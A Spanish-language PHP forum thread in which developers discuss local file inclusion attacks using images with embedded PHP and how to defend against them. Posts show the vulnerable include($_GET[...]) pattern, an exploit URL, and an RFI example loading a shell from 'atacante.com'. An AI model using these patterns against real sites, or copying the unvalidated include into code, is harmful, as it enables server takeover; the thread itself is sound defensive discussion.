Ataques LFI con imágenes

[jorgelpadronb]

Saludos amigos de PHP. He estado leyendo un artículo sobre ataques LFI con imágenes JPG. Estos ataque utilizan el Include de PHP para cargar imágenes previamente subidas por la aplicación al servidor. La s imágenes han sido inyectadas con bloques de código PHP y luego se cargan con Include, haciendo toda clase de barbaridades en el sitio. Me gustaría saber más sobre eso. Algún sitio donde haya información precisa y abundante de ese tema. Quisiera saber si los ataques se producen solamente con imágenes JPG o sse utilizan otros formatos también. He estado googleando y la información que encuentro es muy general, pero no específica en cuanto al formato de imágenes utilizado.

Saludos.

[Triby]

Realmente es posible este tipo de inyección de código PHP, pero no es tan grave porque... quién, en su sano juicio, hace include de imágenes?

La solución es: No confíes nunca en la información que suben los usuarios y, lógicamente, no hacer include de archivos obtenidos por formulario, sean jpg, php o cualquier otro.

[jorgelpadronb]

Hola Triby, gracias por tu interés en el tema. Realmente el include no se hacen a imágenes, pero es manipulados por el atacante, aprovechando un bug de PHP que haya dejado el programador. La cosa funciona así:

1) El atacante sube una imagen a través de algún formulario que tenga el sitio para este propósito. Por ejemplo MiFoto.jpg, esta ya viene con sorpresa jeje.

2) Una vez subida la imagen, el atacante trata de detectar una debilidad de este tipo:

$ruta = $_GET['ruta'];
Include($ruta);

3) Seguidamente, desde afuera, llama al sitio de esta forma:

Http://misitio.com?ruta=MiFoto.jpg

Y explotó la bomba. Un mecanismo ingenioso. Así que, para programadores PHP, nada de mandar las rutas completas de los includes por GET o POST, o los frien en cuestión de segundos.

Mi duda es si la inyección de código PHP solo se puede hacer en imágenes JPG o también en otros formatos? Digo yo, porque si es solamente con los JPG, otra medida a tomar sería prohibir la subida de JPG por los usuarios, restringiendo el tipo de imágenes que pueden subir a PNG, GIF u otro.

Saludos

[iovan]

Estas mal informado.

Y además ríes cuando dices que el archivo subido viene con sorpresa.

Realmente ese método que mencionas, supongo que se le ha ocurrido a algún hacker novel, No funcionaria como describes si el programador de la aplicación no pone de su parte,

:.........

Como dato interesante, cuando un archivo es creado para funcionar según su formato se define una característica denominada mime, generalmente los desarrolladores comprobamos los tipos mime de los archivos que han subido los usuarios para saber si los permitimos o no.

A ti que te gustan los temas "hacking", tal vez hayas escuchado hablar sobre inyección de código malicioso en componentes comunes, como crear un ejecutable a partir de una imagen usando themida, por ejemplo.

Si haces una compilación de este tipo, el archivo que obtienes tendrá un tipo mime del tipo ejecutable aunque el formato sea el de una imagen, por lo tanto con una sencilla validación de tipos mime todo el juego del hacker termina antes de empezar.


....:............

P.D.: si te gustan estos temas te comento que hay muchas otras formas de inyectar o ejecutar código en el servidor remoto, tu has comentado intuitivamente una, haciendo uso del método get pero para esto es necesario que el desarrollador de la aplicación pnga de su parte o bien que logres infectar el servidor para crear un archivo Ejecutable (PHP ) que realice la tarea que se te antoje.

Bueno, etc...

Saludos.

[jorgelpadronb]

Hola iovan. Entonces no soy yo quien está equivocado, sino la referencia que he leíido, o tú, porque así mismo lo explican. Paso por paso. Te explican hasta como se hace la inyección de código en la imagen y que programas usar para eso.

Yo sé que el tipo mime se conprueba, y la referencia es bastante específica en cuanto a eso. La inyección de código PHP en la imagen no altera su formato, sigue siendo funcional. Eso está bien especificado en la referencia. Ahí es donde está lo peligroso del asunto. En que es totalmente indetectable pues las imágenes inyectadas no alteran su formato.

Y por eso es mi pregunta de si es el formato JPG el único que se presta para tal manipulación sin perder su funcionalidad.

La única ayuda que necesita el atacante en este caso es que el programador inexperto deje huecos de seguridad.

No me interesan los temas hacking, sino para protegerme yo mismo de eso. No soy hacker, ni siquiera me simpatizan los hackers. Ojalá se extingan o caigan todos en manos de la justicia. Yo lo único que busco es imprimirle más seguridad a mis trabajos. Y nada mejor para combatir al enemigo que conocer sus métodos. No puede simpatizarme una cosa de la que yo mismo puedo se víctima.

Saludos.

[iovan]

Iniciado por jorgelpadronb

Y por eso es mi pregunta de si es el formato JPG el único que se presta para tal manipulación sin perder su funcionalidad.

Yo lo único que busco es imprimirle más seguridad a mis trabajos. Y nada mejor para combatir al enemigo que conocer sus métodos..........

Si te pones a estudiar no tendrás mas dudas de esas, y cuanto no estés de acuerdo con algo sobre un tema que evidentemente no sabes mucho, no te enojes pongas karmas negativos y/o digas cosas que no vienen al caso, mejor aprende.

Un saludo y suerte.

[Artificium]

Podrías poner el enlace de tu fuente?

[HackmanC]

Hola,

Iniciado por jorgelpadronb

... Y por eso es mi pregunta de si es el formato JPG el único que se presta para tal manipulación sin perder su funcionalidad.
...

Realmente si es posible, es un método muy común y siempre hay que tomar las medidas necesarias en cualquier tipo de archivo subido, ya sea este una imagen o cualquier otra cosa. El procedimiento es mucho mas simple de lo que explicas y no es necesario que el programador que hizo el sitio haya puesto de su parte para que suceda esto.

Existen por lo menos dos aplicaciones muy populares que sufrieron de este exploit, por suerte actualmente ya están corregidas. Ahora bien, por supuesto que pierden su funcionalidad, es decir, la imagen JPG deja de ser una imagen, pero eso pasa a segundo plano porque el objetivo no es demostrar nada, simplemente correr un script en tu servidor.

Saludos,

[jorgelpadronb]

Iniciado por Artificium

Podrías poner el enlace de tu fuente?

Gracias por participar amigo. Me ha costado un poco, pero logré encontrar la referencia en el historial de mi navegador.

http://www.govannom.org/seguridad/1-...inclusion.html

[jorgelpadronb]

Iniciado por iovan

Si te pones a estudiar no tendrás mas dudas de esas, y cuanto no estés de acuerdo con algo sobre un tema que evidentemente no sabes mucho, no te enojes pongas karmas negativos y/o digas cosas que no vienen al caso, mejor aprende.

Un saludo y suerte.

Realmente si me ofende muchísimo tu insinuación de que me gustan los hackers o sus cochinos temas de como fastidiar el trabajo de los demás.

Aunque creas que no, yo si estoy estudiando sobre el tema. De hecho, este post es parte de mi estudio.

Entonces, si tienes una respuesta que ayude compártela, sino al menos no ofendas.

Ahí te devuelvo tu Karma.

Saludos

[jorgelpadronb]

Iniciado por HackmanC

Hola,



Realmente si es posible, es un método muy común y siempre hay que tomar las medidas necesarias en cualquier tipo de archivo subido, ya sea este una imagen o cualquier otra cosa. El procedimiento es mucho mas simple de lo que explicas y no es necesario que el programador que hizo el sitio haya puesto de su parte para que suceda esto.

Existen por lo menos dos aplicaciones muy populares que sufrieron de este exploit, por suerte actualmente ya están corregidas. Ahora bien, por supuesto que pierden su funcionalidad, es decir, la imagen JPG deja de ser una imagen, pero eso pasa a segundo plano porque el objetivo no es demostrar nada, simplemente correr un script en tu servidor.

Saludos,

Saludos amigo. Muchas gracias por tu aporte. Se nota que dominas el tema. Tal vez las imágenes sí se alteran, pero no se de que forma, según el autor del tema, esto resulta totalmente invisible para la comprobación de tipo mime que se hace al subir el archivo. O sea que se sigue interpretando como una imagen válida, aunque probablemente al visualizarla ya no se vea ni remotamente parecida a lo que era antes de ser modificada.

Reitero la referencia del artículo:

http://www.govannom.org/seguridad/1-...inclusion.html

Saludos.

[jorgelpadronb]

Otras referencias que acabo de encontrar:

http://foro.undersecurity.net/read.php?15,813

http://www.portalhacker.net/index.php?topic=93120.0

http://www.securityartwork.es/2010/1...inclusion-lfi/

Aquí también me habla de imágenes JPG. Pero hasta ahora nada seguro de si se pueden usar o no otros formatos de imágenes, que es en sí la duda que planteo en este tema.

Saludos.

[HackmanC]

Hola,

Iniciado por jorgelpadronb

...
Aquí también me habla de imágenes JPG. Pero hasta ahora nada seguro de si se pueden usar o no otros formatos de imágenes, que es en sí la duda que planteo en este tema. ...

Bueno, realmente te lo digo porque a mi me pasó una vez con un sitio hecho con una versión vieja de un paquete muy popular open source (no menciono el nombre para no hacer mala publicidad ).

El hecho es que el cliente no quiso pagar por una actualización y básicamente nos solicitó que se subiera el sitio sin revisiones ni nada, aún cuando yo hice la aclaración que existía la posibilidad que con versiones antiguas existieran este tipo de problemas.

No pasaron ni dos meses y encontraron la vulnerabilidad, con lo que usaron un simple .gif, el tipo mime y las comprobaciones que hacen este tipo de aplicaciones es simple, no mira el contenido de las imágenes para comprobar que realmente es una imagen.

Lo que quiero decir es que posiblemente, con los ejemplos que mencionas, sea posible agregar un bloque de datos en archivos jpeg, al estilo exif, y en ese caso la vulnerabilidad es mas elegante :D y se salta las comprobaciones de seguridad; pero como no se trata de eso, en cualquier imagen, documento, audio o archivo se puede conseguir, en algunos casos, correr ese archivo como que fuera un script.

Saludos,

ps:

No incluyo muchos detalles porque no se que tan beneficioso sea realmente, nunca revisé a detalle el método que usaron, pero hice una copia de seguridad de la mayoría de los archivos que usaron para ejecutar el script. A simple vista el gif mantenía su estructura en la parte binaria, por lo que un programa de verificación de gifs posiblemente lo hubiera tomado como una imagen gif verdadera.

[jorgelpadronb]

Iniciado por HackmanC

Hola,



Bueno, realmente te lo digo porque a mi me pasó una vez con un sitio hecho con una versión vieja de un paquete muy popular open source (no menciono el nombre para no hacer mala publicidad ).

El hecho es que el cliente no quiso pagar por una actualización y básicamente nos solicitó que se subiera el sitio sin revisiones ni nada, aún cuando yo hice la aclaración que existía la posibilidad que con versiones antiguas existieran este tipo de problemas.

No pasaron ni dos meses y encontraron la vulnerabilidad, con lo que usaron un simple .gif, el tipo mime y las comprobaciones que hacen este tipo de aplicaciones es simple, no mira el contenido de las imágenes para comprobar que realmente es una imagen.

Lo que quiero decir es que posiblemente, con los ejemplos que mencionas, sea posible agregar un bloque de datos en archivos jpeg, al estilo exif, y en ese caso la vulnerabilidad es mas elegante :D y se salta las comprobaciones de seguridad; pero como no se trata de eso, en cualquier imagen, documento, audio o archivo se puede conseguir, en algunos casos, correr ese archivo como que fuera un script.

Saludos,

ps:

No incluyo muchos detalles porque no se que tan beneficioso sea realmente, nunca revisé a detalle el método que usaron, pero hice una copia de seguridad de la mayoría de los archivos que usaron para ejecutar el script. A simple vista el gif mantenía su estructura en la parte binaria, por lo que un programa de verificación de gifs posiblemente lo hubiera tomado como una imagen gif verdadera.

Saludos. Eso que me cuentas está trmendo hermano. Con un GIF?

En mi caso, yo necesito permitirle a los usuarios que suban sus imágenes. Pensando yo que los JPG eran los archivos de imágenes más propensos a este tipo de intrusiones, consideré la solución de forzar a que las imágenes que se puedan subir sean de otro formato que no sea JPG.

Pero al parecer, aunque lo más frecuente es el JPG, otros formatos también pueden contener cosas raras. Alguna imagen tendrán que poder subir, JPG, GIF o PNG. No se, si todas esas son igual de peligrosas.

Bueno, yo creo que con lo de no enviar las rutas de los Includes por GET ni POST es suficiente para evitar este tipo de ataques. De todas formas me resula incómodo pensar que puedo tener bichos metidos en las imágenes el sitio, aunque de momento no puedan hacer ningún daño. Me quedaría más tranquilos si pudiera filtrar las imágenes que se suben, para más seguridad.

Saludos

[GatorV]

Creo te estas enfocando mal, en ves de prevenir que suban la foto, tienes que evitar que puedan hacer el include sobre la imagen, ya que así aunque suban la foto si no la pueden hacer que PHP la procese tu sitio estará seguro.

[jorgelpadronb]

Iniciado por GatorV

Creo te estas enfocando mal, en ves de prevenir que suban la foto, tienes que evitar que puedan hacer el include sobre la imagen, ya que así aunque suban la foto si no la pueden hacer que PHP la procese tu sitio estará seguro.

Hola amigo. Tienes razón, de hecho esa es la primera medida que pienso tomar, nada de rutas de Includes viajando por GET o POST, eso es super peligroso. Sin embargo, me pone nervioso no saber con exactitud que clase de cosas están subiendo los usuarios. Como medida adicional me gustaría poder filtrar esas imágenes de alguna forma.

Saludos.

[GatorV]

Pues lo que podrías hacer es leer la imagen y buscar el string <?php para que puedas ver si tienen código PHP, aunque el problema es que sería lento en imagenes grandes, lo mejor es usar getimagesize para asegurarte que sea una imagen, y evitar incluirlas por la ruta, así por más código PHP que tengan a lo mucho van mostrar una cruz en el browser.

Otra opción es implementar un CronJob que este analizando las imagenes y que vea que sean imagenes legítimas.

[iovan]

No se trata de que no permitas que el usuario deje de subir imágenes jpeg o gif.
Te respondo lo que no te dije antes, el ataque se puede hacer con cualquier tipo de archivo no necesariamente con jpeg.

La seguridad de tu sitio no debe depender en si el usuario se comporta y es bueno, si no en tu buena experiencia como desarrollador. Si eres experimentado no tienes porque cometer errores que generen vulnerabilidades ( a esto me refiero cuando digo que el programador pone de su parte).

Para terminar rápido, simplemente no hagas que se ejecuten los archivos del usuario en el servidor incluyendolos ( incluye,require) únicamente cargados y descargar los, si es una imagen puedes mostrarla en la página con su etiqueta HTML correspondiente sin temor a nada, pues lo que sucede es que el servidor enviara tal cual al cliente la imagen como respueta.

Me hubiera gustado escribir un poco mas pero me tengo que ir, errores ortográficos provocados por el corrector ortográfico de iPad, no es muy bueno sabes.

[jorgelpadronb]

Iniciado por GatorV

Pues lo que podrías hacer es leer la imagen y buscar el string <?php para que puedas ver si tienen código PHP, aunque el problema es que sería lento en imagenes grandes, lo mejor es usar getimagesize para asegurarte que sea una imagen, y evitar incluirlas por la ruta, así por más código PHP que tengan a lo mucho van mostrar una cruz en el browser.

Otra opción es implementar un CronJob que este analizando las imagenes y que vea que sean imagenes legítimas.

GatorV, creo que no voy a necesitar leer todo el archivo. Estuve mirando uno de los links que puse y explica que la inclusión de código en loas archivos JPG se hace en la cabecera del archivo. En base a eso encontré lo siguiente:

Código PHP:

$filename = 'un_archivo.jpg';
$cabecera = exif_read_data($filename);
echo '<pre>';
print_r($cabecera);
echo '</pre>';
 

De esta forma puedo recorrer la cabecera del JPG buscando secuencias como '<?','?>','<%', '%>', etc...

Lo probé y funciona rápido, aún con imágenes grandes.

Saludos.

[jorgelpadronb]

Iniciado por iovan

No se trata de que no permitas que el usuario deje de subir imágenes jpeg o gif.
Te respondo lo que no te dije antes, el ataque se puede hacer con cualquier tipo de archivo no necesariamente con jpeg.

La seguridad de tu sitio no debe depender en si el usuario se comporta y es bueno, si no en tu buena experiencia como desarrollador. Si eres experimentado no tienes porque cometer errores que generen vulnerabilidades ( a esto me refiero cuando digo que el programador pone de su parte).

Para terminar rápido, simplemente no hagas que se ejecuten los archivos del usuario en el servidor incluyendolos ( incluye,require) únicamente cargados y descargar los, si es una imagen puedes mostrarla en la página con su etiqueta HTML correspondiente sin temor a nada, pues lo que sucede es que el servidor enviara tal cual al cliente la imagen como respueta.

Me hubiera gustado escribir un poco mas pero me tengo que ir, errores ortográficos provocados por el corrector ortográfico de iPad, no es muy bueno sabes.

Estamos de acuerdo. Todo ataque para tener éxito, requiere que exista alguna deficiencia en la seguridad del sitio. Esa es la parte que debemos cuidar en nuestros proyectos.

Sobre las inclusiones también te apollo. Realmente eso de incluir imágenes con Include no tiene sentido. Creo que ni al último de los novatos se le ocurriría intentar incluir una imagen. Lo que se incluyen son siempre archivos PHP. El problema es que cuando la ruta del archivo que se va a incluir se toma del GET o del POST, el atacante desde afuera la puede sustituir por la ruta de la imagen infectada, que se subió previamente. Entonces tu Include lo que carga es la ruta de la imagen en sustitución de la ruta del archivo PHP original.

Queda claro que la solución es no enviar jamás las rutas de los includes por GET o POST. De esa forma se elimina toda posibilidad de recibir un ataque de este tipo. Gracias por tu aporte.

Saludos.

[Triby]

Iniciado por jorgelpadronb

Hola Triby, gracias por tu interés en el tema. Realmente el include no se hacen a imágenes, pero es manipulados por el atacante, aprovechando un bug de PHP que haya dejado el programador. La cosa funciona así:

1) El atacante sube una imagen a través de algún formulario que tenga el sitio para este propósito. Por ejemplo MiFoto.jpg, esta ya viene con sorpresa jeje.

2) Una vez subida la imagen, el atacante trata de detectar una debilidad de este tipo:

$ruta = $_GET['ruta'];
Include($ruta);

3) Seguidamente, desde afuera, llama al sitio de esta forma:

Http://misitio.com?ruta=MiFoto.jpg

A ver, por favor, no confundamos, no se trata de un bug de PHP, sino de una mala programación por no validar.

Como dije desde el principio, no confies en los datos introducidos por el usuario y, en eso se incluye el validar TODO lo que recibas en $_GET, $_POST, $_COOKIE y $_SESSION, ya que son manipulables fácilmente.

Y modifico la pregunta que hice originalmente: Quién, en su sano juicio, hace un include de un archivo sin verificar primero de qué se trata?

Anteriormente era "muy cómodo" hacer ese tipo de sitios donde incluías directamente el archivo especificado en $_GET, pero, la solución es tan sencilla como:

Código PHP:

$rutas = array('index.php', 'fotos.php', 'contacto.php', 'etc.php');
$ruta = $_GET['ruta']; // Falta una pequeña validación, pero sólo es una muestra
if( ! in_array($ruta, $rutas)) {
    die('Quién, en su sano juicio, hace include de archivos sin validar?');
}
 

Y repito, claro que es posible, pero no es tan grave... si validas correctamente!

[jorgelpadronb]

Hola Triby. Tal vez me han informado mal. Pues, según me respondieron en este mismo foro, en un tema afín que puse hace ya algún tiempo, un bug de seguridad es precisamente eso, una debilidad de la aplicación por mala validación de los datos que entran desde el exterior, por la vía que sea (todas las que tu enumeras).

En cuanto a quien se le ocurriría hacer un Include sin previa validación, pues a cualquiera que desconozca este tema. Yo mismo lo hubiera hecho antes de conocer de los peligros reales que represente. Ahora ya tengo la experiencia, gracias a todos los que han participado en este tema, pero antes hubiera cometido el error por desconocimiento, sin sospechar el peligro.

Que bueno que aquí hay personas conocedoras como ustedes, dispuestos a ayudar a los que estamos comenzando.

Saludos a todos y GRACIAS.

[MaxDgy]

Hola jorgelpadronb quiero decirte que yo desconocía al respecto de los ataques vía imagen y gracias a tu post y a todos los compañeros del foro que participaron del él, pude aprender bastante del asunto. Así que ahora estaré tomando más precuación... gracias amigo me gustó el tema!!

y @Triby es un genio una vez me ayudó con un FTP Client!!

Saludos

[jorgelpadronb]

Hola MaxDgy. Yo también aprendí mucho con este tema. Le agradezco mucho a todos los que participaron y a tí por tu valoración positiva sobre el tema.

Saludos.

[iovan]

Es verdad triby si es un genio esta bien preparado, yo creo a todos nos a ayudado.

Camboando de tema, vuelves a mezclar los conceptos.

Lo que mencionas no es ocacionado por un bug de PHP y no tiene que ver con eso.

, piensa que PHP no tiene la culpa que sus desarrolladores no sepan programar adecuadamente.

Saludos

[Sourcegeek]

Y ya que están con el tema, cuidado también con los RFI - Remote File Inclusion - que se dá cuando está activada la directiva allow_url_fopen que permite hacer, por ejemplo, includes a páginas externas, permitiendo cargar cosas como shells:

Código PHP:

include($_GET['url']);
 
// index.php?url=http://atacante.com/shell.txt
 

Saludos!

[iovan]

Ya habia escuchado hablar de eso pero dabes me quedan mis dudas, piensa que con php al incluir un archivo externo lo que realmente pasa es que llamas al script php en el servidor reoto y este se ejecuta en el remoto, obtiene una respuesta y esta es la que incluyes en tu llamado.

No se, yo creo que no funciona.

Incluirias solamente los outputs o salidas del script php remoto, no le veo mucho peligro.

Pero te repito, no se.

[Sourcegeek]

Claro, pero eso sucede sólo cuando se ejecuta como archivo .php, si te das cuenta, una shell se carga -normalmente- en .txt para evitar que sea ejecutada en el servidor atacante

Saludos

[jorgelpadronb]

Iniciado por iovan

Es verdad triby si es un genio esta bien preparado, yo creo a todos nos a ayudado.

Camboando de tema, vuelves a mezclar los conceptos.

Lo que mencionas no es ocacionado por un bug de PHP y no tiene que ver con eso.

, piensa que PHP no tiene la culpa que sus desarrolladores no sepan programar adecuadamente.

Saludos

Hola Iovan. Una vez más estamos de acuerdo. De hecho eso fué lo que quise decir. No es PHP, sino el programador el que deja deficiencias en la seguridad de su aplicación.

Yo tenía entendido que eso era a lo que se le llama un BUG (una debilidad en la seguridad del sitio provocada por una deficiente validación por parte del programador). Una vez pregunté sobre eso en este foro y me dijero que era eso. Si no es así, entonces, que es en realidad un BUG?

Saludos.

[Triby]

Iniciado por jorgelpadronb

Hola Triby. Tal vez me han informado mal. Pues, según me respondieron en este mismo foro, en un tema afín que puse hace ya algún tiempo, un bug de seguridad es precisamente eso, una debilidad de la aplicación por mala validación de los datos que entran desde el exterior, por la vía que sea (todas las que tu enumeras).

Precisamente, la culpa no es de PHP, sino de quien lo usa sin poner atención en esos pequeños detalles... por eso insisto: NO ES BUG DE PHP!!!

Esto me recuerda aquellos viejos tiempos (cuando yo sólo hacía webs en HTML), que todo mundo condenaba a PHP por la inseguridad que se generaba al activar register_globals y validaciones precarias; por supuesto, la culpa fue de los programadores que preferían "evitarse la molestia" de inicializar y verificar cada variable.

No podemos culpar a PHP por las inyecciones SQL cuando nos olvidamos de usar consultas preparadas o escapar los datos correctamente.

Y, bueno, ya casi me canso de repetirlo:
- Antes de usarlas, inicializar todas las variables con el contenido que realmente les corresponda $_GET, $_POST, $_COOKIE, $_SESSION o con un valor por defecto, ya sea cadena vacía, NULL, falso, etc.
- No confiar en los datos ingresados por el usuario
- No incluir scripts (php o la extensión que sea, internos o externos) si no pertenecen a la estructura de tu sitio.